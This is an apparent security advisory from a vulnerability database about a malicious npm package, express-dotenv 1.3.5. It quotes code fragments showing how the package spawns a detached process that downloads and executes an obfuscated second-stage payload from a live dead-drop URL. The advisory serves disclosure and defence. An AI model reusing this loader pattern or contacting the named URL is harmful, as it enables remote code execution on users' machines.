VDB
GCVE-110-OSM-2026-3165
GCVE-110-OSM-2026-3165
Advisory PublishedCVSS 8.8/10
Downloads and executes a second-stage JavaScript payload from a dead-drop URL at jsonkeeper.com as a detached background process that persists after npm install completes, granting the attacker full Node.js runtime access on the victim machine.
index.js exports a fake Express middleware that, on invocation, spawns lib/caller.js as a detached process (spawn({detached:true, stdio:'ignore'}); child.unref()). caller.js fetches a second-stage payload via axios.get('https://jsonkeeper.com/b/ZK45J', {headers: {'x-secret-key': '_'}}) and executes the response .data.cookie field via new Function.constructor('require', payload)(require), granting the stage-2 payload full require() access. Retries up to 5 times on failure. Stage-2 payload (18.3KB) confirmed live at jsonkeeper.com/b/ZK45J during analysis: RC4+Base64 obfuscated JavaScript with fetch-write-spawn chain. sha256(caller.js): b0098181dcb3b52d59bde530630ccf4580e8c2fa9467edbacaab217bf824bc77. sha256(index.js): 32e82853dd646aac388b78f868241267a5e6483d847df3d4c843f8100590d469. Three phantom dependencies (request, sqlite3, parse-json) declared but never imported. Publisher uses disposable email domain poisonword.com.
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
8.8/10
High · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | express-dotenv | 1.3.5 (affected) | — |
Browse GCVE Records
73,734 records in the GCVE database · Updated July 18, 2026
No matching records found.
Explore Further
Investigate this vulnerability in the interactive console or download the raw GCVE record.